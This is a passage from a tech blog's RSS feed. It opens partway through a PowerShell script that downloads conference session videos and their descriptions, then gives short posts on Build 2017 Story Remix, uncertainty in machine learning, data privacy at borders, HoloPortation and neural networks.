&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;NoCodeSessions&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; doesn&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the MP4 file doesn&amp;#39;t already exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;))     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Echo out the  file that&amp;#39;s being downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the MP4 file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#91d7e3&#34;&gt;Invoke-WebRequest&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$url&lt;/span&gt; -OutFile &lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;\&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#move it from the current working folder to the target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Video: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; - anoter process possibly working on this; skipping download.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Video: &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; exist; skipping download.&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Try and get the Sessions text description&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$OutFile&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; -type file &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Folder&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Code&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;())&lt;span style=&#34;color:#a6da95&#34;&gt;.txt&amp;#34;&lt;/span&gt; -Force  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;summary&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;description&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;`r`n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ToString&lt;/span&gt;().&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;() 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;add-content&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$OutFile&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Content&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end-loop foreach&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Oops, could not find any videos or some other error happened.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Message&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;ItemName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\t&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ErrorMessage&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\n&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$FailedItem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** End - download the videos section **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*************** All Done! ***************&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you read through the script it is pretty self explanatory.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My Story Remix from Build 2017</title>
      <link>/post/2017/05/my-story-remix-from-build-2017/</link>
      <pubDate>Tue, 16 May 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/05/my-story-remix-from-build-2017/</guid>
      <description>&lt;p&gt;In case you did not see Story Remix demos from Build, it is awesome. And here is my first take on it just using the photos that I took at Build 2017. Some of the things you saw at the keynote are not in the RS3 build I am running but interesting possibilities nevertheless.&lt;/p&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2017/05-my-story-remix-from-build-2017/Build-2017_Medium.mp4&#34; type=&#34;video/mp4&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

</description>
    </item>
    
    <item>
      <title>Core principle of Machine Learning</title>
      <link>/post/2017/04/core-principle-of-machine-learning/</link>
      <pubDate>Tue, 04 Apr 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/04/core-principle-of-machine-learning/</guid>
      <description>&lt;p&gt;There of course are many, but for someone coming from computer science, and, software engineering, where the environment is &lt;em&gt;relatively&lt;/em&gt; clean and certain (deterministic), it usually is a leap to understand that Machine Learning (and other elements of #AI) are not. &lt;/p&gt;
&lt;p&gt;Machine learning, is based on probability theory and deals with stochastic (non-deterministic) elements all the time. Nearly all activities in machine learning, require the ability to factor and more importantly, &lt;strong&gt;represent and&lt;/strong&gt; &lt;strong&gt;reason&lt;/strong&gt; with uncertainty. &lt;/p&gt;
&lt;p&gt;To that end, when designing a system, it is recommended to use a &lt;strong&gt;&lt;em&gt;simple but uncertain&lt;/em&gt;&lt;/strong&gt; (with some non-deterministic aspects)  rule, rather than a &lt;em&gt;&lt;strong&gt;complex but certain&lt;/strong&gt;&lt;/em&gt; rule. &lt;/p&gt;
&lt;p&gt;For example, having a simple but uncertain  rule saying &amp;ldquo;most birds fly&amp;rdquo;, is easier and more effective than a certain rule such as &amp;ldquo;Birds can fly, except flightless species, or those who are sick, or babies, etc.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;As one starts getting deeper in Machine Learning, a trip down memory lane around &lt;a
	
		href = &#34;https://en.m.wikipedia.org/wiki/Probability_distribution&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Probability distribution
	&lt;/span&gt;
&lt;/a&gt;, expectation, &lt;a
	
		href = &#34;https://en.m.wikipedia.org/wiki/Variance&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		variance
	&lt;/span&gt;
&lt;/a&gt;, and covariance won&amp;rsquo;t hurt.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Protecting your Data from being slurped up!</title>
      <link>/post/2017/04/protecting-your-data-from-being-slurped-up/</link>
      <pubDate>Mon, 03 Apr 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/04/protecting-your-data-from-being-slurped-up/</guid>
      <description>&lt;p&gt;How to protect your data from what the &lt;a
	
		href = &#34;https://www.theguardian.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Guardian
	&lt;/span&gt;
&lt;/a&gt; calls as &amp;lsquo;&lt;a
	
		href = &#34;https://www.theguardian.com/us-news/2017/mar/31/us-border-phone-computer-searches-how-to-protect&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		US border agents are doing &amp;lsquo;digital strip searches&amp;rsquo;?
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The only way I think this is possible in a fool-proof way in the near future is that every has to absolutely implement a two-factor-DDA-authentication. There is not better #security today - period! There ain&amp;rsquo;t no stinking #AI, #RNN, #DNN, or Boltzmann machine in the world, or #Quantum computer worth its #quibits which can crack this - at least not in the near future.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/VgC4b9K-gYU?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

&lt;p&gt;And of course, when you have friends and family involved, the group authentication is a sure-fire way to stop anyone snooping in. #security&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HoloPortation - Limits of Human Kind</title>
      <link>/post/2017/03/holoportation-limits-of-human-kind/</link>
      <pubDate>Fri, 17 Mar 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/03/holoportation-limits-of-human-kind/</guid>
      <description>&lt;p&gt;When it comes to AI and the limits of human kind, what better example that shows the art of the possible than what Microsoft is doing with special awareness and HoloLens and other sensors.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/7d59O6cfaM0?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

&lt;p&gt;And not only can this replay time and allow you to have a &amp;rsquo;living memory&amp;rsquo; but it also is mobile.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/nTkFO2xNkIk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

&lt;p&gt;I do believe we are living in the great time ever! :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Neural Networks</title>
      <link>/post/2017/03/neural-networks/</link>
      <pubDate>Thu, 16 Mar 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/03/neural-networks/</guid>
      <description>&lt;p&gt;Of course you heard of Neural Networks! In the context of #AI they are all the buzz of course.&lt;/p&gt;
&lt;p&gt;You might have heard of some such as DFF (Deep Feed Forward) or RNN (Recurrent neural networks)? Or perhaps you meant Recursive neural networks? Irrespective, it can be quite messy as you can see below and it would be somewhat important to have some understanding of the differences.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/neuralnetworks.png&#34; alt=&#34;neuralnetworks&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And in case you are thinking, well what good or use is all this? Here is one example ( MarI/O - Machine Learning for Video Games) that shows how a computer learned to play Mario using DeepMind and a Neural network.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/qv6UVOQ0F44?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

&lt;p&gt;MarI/O uses something called &lt;a
	
		href = &#34;http://nn.cs.utexas.edu/downloads/papers/stanley.ec02.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NEAT
	&lt;/span&gt;
